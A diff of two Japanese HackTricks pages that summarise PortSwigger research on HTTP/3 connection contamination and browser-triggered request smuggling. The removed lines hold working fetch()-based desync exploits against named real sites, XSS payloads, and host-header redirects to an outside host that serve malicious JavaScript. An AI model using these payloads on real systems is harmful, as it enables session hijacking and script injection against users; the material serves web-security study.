* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
|
||||
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,72 +2,28 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**この投稿の内容は** [**https://portswigger.net/research/http-3-connection-contamination**](https://portswigger.net/research/http-3-connection-contamination) **から取得されました**\*\*\*\*
|
||||
**この投稿の要約です：[https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**。詳細についてはそちらをご確認ください！
|
||||
|
||||
Webブラウザは、異なるウェブサイトに向けたリクエストに対して、同じIPアドレスに解決し、両方のホスト名に対して有効なTLS証明書を使用する場合、**HTTP接続の結合**を使用します。
|
||||
Webブラウザは、共有IPアドレスと共通のTLS証明書を介して、[HTTP接続の共有](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing)を通じて1つのHTTP/2+接続を異なるウェブサイトで再利用できます。ただし、これは逆プロキシでの**最初のリクエストルーティング**と競合する可能性があります。ここで、後続のリクエストは最初のリクエストによって決定されたバックエンドに向けられます。この誤ルーティングは、ワイルドカードTLS証明書や`*.example.com`のようなドメインと組み合わせると、XSSなどの脆弱性を悪用することができるセキュリティの脆弱性につながる可能性があります。
|
||||
|
||||
**最初のリクエストのルーティング**は、リバースプロキシの危険な動作であり、**プロキシが接続の最初のリクエストを分析**して、それをどのバックエンドにルーティングするかを判断し、その後のすべてのリクエストを**同じバックエンド**に送信します。
|
||||
たとえば、`wordpress.example.com`と`secure.example.com`が同じ逆プロキシで提供され、共通のワイルドカード証明書を持っている場合、ブラウザの接続共有により、`secure.example.com`へのリクエストが誤ってWordPressバックエンドで処理される可能性があり、XSSなどの脆弱性が悪用される可能性があります。
|
||||
|
||||
**接続の結合と最初のリクエストのルーティングはうまく動作しません**。例えば、secure.example.comとwordpress.example.comが両方ともリバースプロキシの背後にあり、\*.example.comに対して有効な証明書を使用している場合を想像してください。
|
||||
```shell-session
|
||||
$ nslookup wordpress.example.com
|
||||
52.16.179.7 // reverse proxy that supports HTTP/2 and does first-request routing
|
||||
|
||||
$ nslookup secure.example.com
|
||||
52.16.179.7 // same reverse proxy
|
||||
|
||||
$ openssl s_client -connect x.portswigger-labs.net:443
|
||||
subject=/CN=*.example.com // wildcard TLS certificate
|
||||
```
|
||||
もしブラウザが**wordpress.example.comにリクエストを送信した後にsecure.example.comにリクエストを送信**しようとする場合、ブラウザの接続統合により、**両方のリクエストが1つの接続に強制的に統合**されます。最初のリクエストのルーティングにより、**secure.example.comへのリクエストが誤ってWordPressのバックエンドにルーティング**されます。つまり、wordpress.example.comで[XSS](https://portswigger.net/web-security/cross-site-scripting)を見つけた場合、それを使用してsecure.example.comを侵害することができます！
|
||||
```javascript
|
||||
// create HTTP/2+ connection
|
||||
fetch('https://wordpress.example.com/', {credentials: 'include'})
|
||||
|
||||
// connection coalescing will force this down the same connection...
|
||||
// ...leading to the front-end misrouting it to WordPress
|
||||
// the browser thinks our injected JS is coming from secure.example.com
|
||||
// exposing saved passwords, cookies, etc.
|
||||
location='https://secure.example.com/plugin/x?q=<script>stealPasswords()'
|
||||
```
|
||||
自分で**接続の結合**を探索することができます。Chromeの開発者ツールの**ネットワークタブのタイミンググラフ**を使用して（または masochist なら WireShark を使用して）、fetch()を使用してリクエストペアを発行し、グラフが2番目のリクエストの「初期接続」に費やされた時間を表示し、接続IDの列が一致するかどうかを確認してください：
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
接続共有を観察するには、ChromeのネットワークタブやWireSharkなどのツールを使用できます。テスト用のスニペットは次のとおりです：
|
||||
```javascript
|
||||
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
|
||||
```
|
||||
{% endcode %}
|
||||
現在の脅威は、最初のリクエストのルーティングの稀少性とHTTP/2の複雑さにより限定されています。ただし、HTTP/3で提案されている変更は、IPアドレスの一致要件を緩和するため、MITM攻撃を必要とせずにワイルドカード証明書を持つサーバーをより脆弱にする可能性があります。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
この脅威を詳しく調査したり、実際に発生しているかどうかをスキャンする時間を割いていませんが、現在はまれな状況であると考えています。まず、最初のリクエストのルーティングは比較的一般的ではなく、HTTP/2の実装の複雑さから、HTTP/1.1に比べてユニークなHTTP/2サーバーの数は非常に少ないです。また、接続の統合により、最初のリクエストのルーティングを行うHTTP/2サーバーは、正規の訪問者に対して一時的に破損する可能性があるため、所有者は攻撃者の助言なしで脆弱性を修正する可能性があります。
|
||||
|
||||
しかし、攻撃者にとってはすべてが悪いわけではありません。**HTTP/3では**、[**IPアドレスの一致が必要な要件を削除することが提案されています**](https://www.rfc-editor.org/rfc/rfc9114.html#name-connection-reuse)**。これにより、最初のリクエストのルーティングを使用し、複数のホストに対して有効な証明書を持つフロントエンドを使用しているすべての人が公開されることになります**。
|
||||
|
||||
これにより、最初のリクエストのルーティングとは関係のない第二のリスクも生じます。つまり、ワイルドカード証明書を持つ侵害されたサーバーは、MITMを必要とせずに悪用することができるようになります。実際には、これにより、悪意のある行為者のプールが大幅に増加します。
|
||||
|
||||
これらのリスクが現実のものになる前に、リバースプロキシが最初のリクエストのルーティングを行わないように注意してください。Repeaterでこれを手動でテストするには、HTTP/1とHTTP/2の接続の再利用を有効にし、[HTTP Request Smuggler](https://github.com/PortSwigger/http-request-smuggler)で「Connection-State」攻撃を使用してスキャンすることもできます。また、ワイルドカードTLS証明書は常に理想的ではありませんが、HTTP/3により、ワイルドカード証明書を持つ侵害されたサーバーはアクティブなMITMなしで姉妹ドメインを攻撃するために使用される可能性があります。
|
||||
|
||||
これらの新たな脅威は、ウェブインフラストラクチャが複雑に絡み合った混乱の中に陥っていくという継続的なトレンドを示しています。個々のサイトの弱点が全体システムのセキュリティに多くの非明示的な影響を与えるということです。これらのリスクが実際にどのように影響するか、興味深いです。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか？ HackTricksであなたの会社を宣伝したいですか？または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか？** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) **をチェックしてください！**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
ベストプラクティスには、リバースプロキシでの最初のリクエストのルーティングを避けること、特にHTTP/3の登場に注意してワイルドカードTLS証明書を慎重に扱うことが含まれます。これらの複雑で相互に関連する脆弱性の定期的なテストと認識は、Webセキュリティを維持するために重要です。
|
||||
|
|
|
|||
|
|
@ -1,317 +1,17 @@
|
|||
# Browser HTTP Request Smuggling
|
||||
# ブラウザ HTTP リクエストスムグリング
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE（HackTricks AWS Red Team Expert）</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)に**フォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする
|
||||
* **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに貢献する
|
||||
|
||||
</details>
|
||||
## CL.0/H2.0 ブラウザ互換デシンク
|
||||
|
||||
この脆弱性は、**Content Length** (CL) ヘッダーが**バックエンドサーバー**によって完全に**無視される**ときに発生します。その後、バックエンドは**ボディ**を**2番目のリクエストのメソッドの開始**として扱います。CLを無視することは、それを0の値として扱うことと同等なので、これはCL.0デシンクです - [既知の](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf)があまり探求されていない攻撃クラスです。
|
||||
|
||||
 (1) (2).png>)
|
||||
|
||||
攻撃が可能だったのは、バックエンドサーバーが単に**POSTリクエストを期待していなかった**からです。
|
||||
|
||||
{% hint style="warning" %}
|
||||
この脆弱性は、完全に**有効で**、仕様に準拠した**HTTPリクエスト**によって**引き起こされる**ことに注意してください。これは、**フロントエンドがそれを防ぐチャンスがゼロ**であり、ブラウザによっても引き起こされる可能性があることを意味します。
|
||||
{% endhint %}
|
||||
|
||||
**CL.0**と**H2.0**の唯一の**違い**は、2番目のものが**HTTP2**（暗黙のcontent-lengthヘッダーを持つ）を使用しているが、**バックエンドもそれを使用していない**ことです。
|
||||
|
||||
## クライアントサイドデシンク
|
||||
|
||||
従来のデシンク攻撃は**フロントエンドとバックエンド**サーバー間の**接続を毒する**ものであり、フロントエンド/バックエンドアーキテクチャを使用していないウェブサイトでは不可能です。これらはこれから**サーバーサイドデシンク**です。ほとんどの**サーバーサイドデシンク**は、**カスタムHTTPクライアントが不正なリクエストを発行する**ことによってのみ引き起こされます。
|
||||
|
||||
**ブラウザがデシンクを引き起こす**能力は、**クライアントサイドデシンク**（CSD）と呼ばれるまったく新しい脅威クラスを可能にします。\
|
||||
CSD攻撃は、**被害者が攻撃者のウェブサイトを訪問する**ことから始まり、その後、被害者のブラウザが**脆弱なウェブサイトに対して2つのクロスドメインリクエストを送信する**ようにします。**最初の**リクエストは、ブラウザの接続を**デシンクさせ**、**2番目のリクエストが有害な応答を引き起こす**ように作られています。これにより、通常は攻撃者が被害者のアカウントを制御できるようになります。
|
||||
|
||||
### 検出
|
||||
|
||||
CSDベクターは、**2つの**重要な特性を持つHTTPリクエストです。
|
||||
|
||||
まず、**サーバーはリクエストのContent-Length (CL)を無視する**必要があります。これは通常、リクエストが**サーバーエラーを引き起こした**場合、またはサーバーが選択されたエンドポイントに対して**POSTリクエストを期待していなかった**場合に発生します。**静的ファイル**や**サーバーレベルのリダイレクト**をターゲットにし、**過長なURL**や/%2e%2eのような**半不正な**ものを使ってエラーを引き起こすことを試みてください。
|
||||
|
||||
次に、リクエストは**ウェブブラウザのクロスドメインでトリガー可能**である必要があります。ブラウザはクロスドメインリクエストを厳しく制限しているため、ヘッダーの制御が限られており、リクエストにボディがある場合はHTTP POSTメソッドを使用する必要があります。最終的には、**URL**、**Refererヘッダー**、**ボディ**、**Content-Typeの後半部分**など、いくつかの細かい点を**制御**することしかできません。
|
||||
|
||||
#### CL無視テスト
|
||||
|
||||
このミスコンフィグをテストする方法は、**2つのリクエストを送信し、その間に1つをスマグルする**ことです。**スマグルされた**接続が**2番目の**リクエストの応答に**影響を与えた**場合、それは**脆弱である**ことを意味します：
|
||||
|
||||
 (2) (2) (1).png>)
|
||||
|
||||
{% hint style="warning" %}
|
||||
ただ**Content-Lengthを送信されたものより大きくしてタイムアウトを探す**だけでは、この脆弱性をテストすることは**できない**ことに注意してください。なぜなら、サーバーは**全体のボディを受け取っていなくても応答する**からです。
|
||||
{% endhint %}
|
||||
|
||||
ターゲットウェブサイトが**HTTP**/2をサポートしているかどうかを確認することが重要です。CSD攻撃は通常、HTTP/1.1の接続再利用を悪用し、ウェブ**ブラウザは可能な限りHTTP/2を使用する**ことを好むので、ターゲット**ウェブサイトがHTTP/2をサポートしている場合、攻撃はうまくいかない可能性が高い**です。ただし、**例外**があります。一部の**フォワードプロキシはHTTP/2をサポートしていない**ので、それらを使用している人を悪用することができます。これには、企業のプロキシ、特定の侵入型VPN、さらにはいくつかのセキュリティツールが含まれます。
|
||||
|
||||
### 確認
|
||||
|
||||
まず、攻撃を開始するサイトを選択します。このサイトは**HTTPS経由でアクセスされ**、ターゲットとは**異なるドメインに位置している**必要があります。
|
||||
|
||||
次に、**プロキシが設定されていないことを確認してから**、攻撃サイトにアクセスします。**開発者ツール**を開き、**ネットワークタブ**に切り替えます。後で発生する可能性のある問題のデバッグに役立てるため、以下の調整を行うことをお勧めします：
|
||||
|
||||
* **「ログを保持」** チェックボックスを選択します。
|
||||
* 列ヘッダーを右クリックし、**「接続ID」列を有効にする**。
|
||||
|
||||
開発者コンソールに切り替え、fetch()を使用して攻撃シーケンスを再現するJavaScriptを実行します。これは次のようになるかもしれません：
|
||||
```javascript
|
||||
fetch('https://example.com/', {
|
||||
method: 'POST',
|
||||
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
|
||||
mode: 'no-cors', // ensure connection ID is visible
|
||||
credentials: 'include' // poison 'with-cookies' pool
|
||||
}).then(() => {
|
||||
location = 'https://example.com/' // use the poisoned connection
|
||||
})
|
||||
```
|
||||
### 悪用 - ストア
|
||||
|
||||
一つの選択肢は、ターゲットサイト上でテキストデータを**保存する機能**を特定し、プレフィックスを作成して、被害者のクッキー、認証ヘッダー、またはパスワードが**あなたが取得できる場所に保存される**ようにすることです。この攻撃フローは[サーバーサイドリクエストスマグリングとほぼ同じ方法で動作します](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests)ので、詳細には立ち入りません。
|
||||
|
||||
### 悪用 - **チェーン＆ピボット**
|
||||
|
||||
通常の状況では、多くのクラスの**サーバーサイド攻撃**は、**HTTPヘッダー**の**改ざん**など、ブラウザが送信を拒否するHTTPリクエストに依存しているため、ターゲットウェブサイトへの直接アクセスを持つ攻撃者によってのみ開始することができます - ウェブキャッシュポイズニング、ほとんどのサーバーサイドリクエストスマグリング、ホストヘッダー攻撃、User-Agentベースの[SQLi](https://portswigger.net/web-security/sql-injection)、CSRF JSON Content-typeなど多数。
|
||||
|
||||
成功した攻撃への最も単純な道は、通常サーバーサイドのディシンク攻撃に使用される二つの主要な技術から来ました：[**ホストヘッダーリダイレクトを介したJavaScriptリソースの汚染**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect)、そして有害なHTMLを含むレスポンスを組み合わせるために[**HEADメソッド**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head)を使用することです。両方の技術は、**被害者のブラウザー**で動作する際に関連するいくつかの新しい課題を克服するために**適応**する必要がありました。
|
||||
|
||||
## 悪用例
|
||||
|
||||
### スタックされたHEADの例
|
||||
|
||||
* **カラーの悪用**
|
||||
|
||||
 (3).png>)
|
||||
|
||||
* **JSの悪用**
|
||||
```javascript
|
||||
fetch('https://www.capitalone.ca/assets', {
|
||||
method: 'POST',
|
||||
// use a cache-buster to delay the response
|
||||
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
|
||||
credentials: 'include',
|
||||
mode: 'cors' // throw an error instead of following redirect
|
||||
}).catch(() => {
|
||||
location = 'https://www.capitalone.ca/'
|
||||
})va
|
||||
```
|
||||
説明:
|
||||
|
||||
* **CL.0の悪用** は/assetsで行われます（これは/assets/にリダイレクトされ、CLをチェックしません）
|
||||
* **HEAD** リクエストを**スマグル**します（HEADレスポンスにはcontent-lengthが含まれているため）
|
||||
* ペイロードを含むレスポンスで**反映**される**内容**を持つ**GET** リクエストを**スマグル**します。
|
||||
* **HEADリクエストのcontent-length** のため、このリクエストの**レスポンス**はHEADリクエストの**ボディ**になります
|
||||
* **corsモード**を設定します。通常は行われませんが、このケースではサーバーからの**初期**の**POST**への**レスポンス**が、**フォロー**された場合に**エクスプロイトが機能しない**リダイレクトです。したがって、**corsモード**は**エラー**を**トリガー**し、**`catch`**で犠牲者を**リダイレクト**するために使用されます。
|
||||
|
||||
### **ホストヘッダーリダイレクト + クライアントサイドキャッシュポイズニング**
|
||||
|
||||
* **JSエクスプロイト**
|
||||
```javascript
|
||||
fetch('https://redacted/', {
|
||||
method: 'POST',
|
||||
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
|
||||
credentials: 'include'}
|
||||
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
|
||||
```
|
||||
* Hostヘッダーに**異なるドメイン**を指定した`/+webvpn+/`へのリクエストは、Hostヘッダー内のその**ドメイン**へ`/+webvpn+/index.html`に**リダイレクト**されます。
|
||||
* **2番目**のリクエストでは、`.js`ファイルの**キャッシュ**を**汚染**するために、`location`を`/+CSCOE+/win.js`に設定します。
|
||||
* このリクエストは、攻撃者のドメインとパス`/+webvpn+/index.html`への`/+webvpn+/`のリダイレクトで応答されます。
|
||||
* **`win.js`**の**キャッシュ**は、攻撃者のページへの**リダイレクト**で**汚染**されますが、**被害者**も`location`変数で指定された通りにリダイレクトを**たどり**、攻撃者のウェブページにたどり着きます。
|
||||
* 攻撃者はその後、**被害者**を`https://redacted/+CSCOE+/logon.html`へ**リダイレクト**します。このページは`/+CSCOE+/win.js`をインポートします。その**キャッシュは攻撃者**のサーバーへのリダイレクトであるため、攻撃者は**悪意のあるJS**で応答することができます。
|
||||
|
||||
**被害者**は攻撃者のページに**2回アクセス**します。最初はHTMLを**期待し**、被害者を`https://redacted/+CSCOE+/logon.html`にリダイレクトし、2回目はjavascriptコード（ペイロード）を**期待します**。ポリグロットを使用して、これらの応答を1つで提供することができます。
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
|
||||
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
|
||||
```
|
||||
### HEADペイロードとチャンク化されたTE
|
||||
|
||||
CSDを探す際には、`/..%2f` や `/%2f` のような**半不正形式の**URLも**テスト**することができます。
|
||||
|
||||
* **カラー化されたエクスプロイト**
|
||||
|
||||
 (2) (1).png>)
|
||||
|
||||
* **JSエクスプロイト**
|
||||
```javascript
|
||||
fetch('https://www.verisign.com/%2f', {
|
||||
method: 'POST',
|
||||
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
|
||||
credentials: 'include',
|
||||
headers: {'Content-Type': 'application/x-www-form-urlencoded'
|
||||
}}).catch(() => {
|
||||
let form = document.createElement('form')
|
||||
form.method = 'POST'
|
||||
form.action = 'https://www.verisign.com/robots.txt'
|
||||
form.enctype = 'text/plain'
|
||||
let input = document.createElement('input')
|
||||
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
|
||||
input.value = ''
|
||||
form.appendChild(input)
|
||||
document.body.appendChild(form)
|
||||
form.submit()
|
||||
}
|
||||
```
|
||||
* ページ **`/%2f`** は **CL.0** 脆弱性を**悪用**するためにアクセスされます。
|
||||
* **`Transfer-Encoding: chunked` ヘッダー**を使用して **HEAD** リクエストがスマグリングされます。
|
||||
* このヘッダーは、そうでなければ**サーバーが本文を含む HEAD リクエストを受け付けない**ため、このシナリオでは必要です。
|
||||
* 次に、ユーザーは POST を送信し、その本文には**前の HEAD** リクエストの**終了チャンク**と、レスポンスに**反映**される**コンテンツ**（JS ペイロード）を含む**新しいリクエストがスマグリングされます**。
|
||||
* したがって、ブラウザーは **HEAD** リクエストへの**レスポンス**を **POST リクエスト**への**レスポンス**として扱い、**本文**レスポンスにも、2番目のスマグリングされたリクエストのユーザーの**入力**を**反映**した内容が**含まれます**。
|
||||
|
||||
### Host ヘッダー リダイレクト + RC
|
||||
|
||||
* **JS 悪用**
|
||||
```html
|
||||
<script>
|
||||
function reset() {
|
||||
fetch('https://vpn.redacted/robots.txt',
|
||||
{mode: 'no-cors', credentials: 'include'}
|
||||
).then(() => {
|
||||
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
|
||||
})
|
||||
setTimeout(poison, 120) // worked on 140. went down to 110
|
||||
}
|
||||
|
||||
function poison(){
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
setTimeout(reset, 1000)
|
||||
}
|
||||
|
||||
function sendPoison(){
|
||||
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
|
||||
{
|
||||
method: 'POST',
|
||||
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
|
||||
mode: 'no-cors',
|
||||
credentials: 'include'
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
</script>
|
||||
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
||||
```
|
||||
この場合も、**ホストヘッダー**の**リダイレクト**があり、**JS**インポートを**ハイジャック**することができます。しかし、今回は**リダイレクトがキャッシュ可能ではない**ため、クライアント側の**キャッシュ**の**毒物注入**は選択肢にはありません。
|
||||
|
||||
したがって、攻撃は**被害者が脆弱なページにアクセス**させるために行われ、ページが**JSファイルをロード**しようとする**直前**に、ソケット**スマグリング接続**を**毒物注入**します（この場合は3つ）。\
|
||||
**タイミング**が非常に**正確**でなければならないため、攻撃はそれが機能するまで**各反復で新しいタブに対して**行われます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
この場合、`/meeting_testjs.cgi`が攻撃されたのは、**404**で応答する**Javascript**を**ロード**しているため、キャッシュされていないからです。キャッシュされている**JSを攻撃**しようとする他のシナリオでは、新しい攻撃を開始する前にキャッシュから**消えるのを待つ**必要があります。
|
||||
{% endhint %}
|
||||
|
||||
要約ステップ:
|
||||
|
||||
* 新しいウィンドウを開く。
|
||||
* タイミングをより一貫させるために、ターゲットに対して無害なリクエストを発行して新しい接続を確立する。
|
||||
* ウィンドウを/meeting\_testjs.cgiのターゲットページにナビゲートする。
|
||||
* 120ミリ秒後、リダイレクトガジェットを使用して3つの毒物注入接続を作成する。
|
||||
* 5ミリ秒後、/meeting\_testjs.cgiをレンダリングしている間に、被害者が/appletRedirect.jsをインポートしようとしてx.psres.netにリダイレクトされ、悪意のあるJSが提供されることを期待する。
|
||||
* うまくいかなければ、攻撃を再試行する。
|
||||
|
||||
## ポーズベースの非同期 <a href="#pause" id="pause"></a>
|
||||
|
||||
ポーズをかけることで、**誤ったリクエストタイムアウトの実装を引き起こす**ことにより、新しい非同期の脆弱性を作り出すこともできます。
|
||||
|
||||
したがって、攻撃者は**本文があることを示すヘッダー**を持つリクエストを送信し、**フロントエンドがタイムアウトする前に本文の送信を待つ**ことができます。フロントエンドがタイムアウトしても**接続を開いたままにしている場合**、そのリクエストの**本文**は**新しいリクエストとして扱われます**。
|
||||
|
||||
### 例: **Varnish**
|
||||
|
||||
Varnishキャッシュには、リクエストをバックエンドに転送せずに**レスポンスを発行**する機能がある`synth()`という機能があります。以下は、フォルダへのアクセスをブロックするために使用されているルールの例です：
|
||||
```javascript
|
||||
if (req.url ~ "^/admin") {
|
||||
return (synth(403, "Forbidden"));
|
||||
}
|
||||
```
|
||||
**部分リクエスト**が合成ルールに一致する場合、Varnishは15秒間データが届かないと**タイムアウト**します。これが起こると、ソケットからリクエストの半分しか読み取っていないにも関わらず、接続を開いたままにして再利用します。つまり、**クライアントがHTTPリクエストの後半を続けて送信する**と、それが**新しいリクエスト**として解釈されることを意味します。
|
||||
|
||||
脆弱なフロントエンドでポーズベースのデシンクをトリガーするには、まずヘッダーを送信し、ボディが続くことを約束してから、ただ待ちます。最終的にレスポンスを受け取り、リクエストボディを送信すると、新しいリクエストとして解釈されます：
|
||||
|
||||
 (3) (1).png>)
|
||||
|
||||
{% hint style="warning" %}
|
||||
どうやらこれは1月25日に[CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html)としてパッチが当てられたようです。
|
||||
{% endhint %}
|
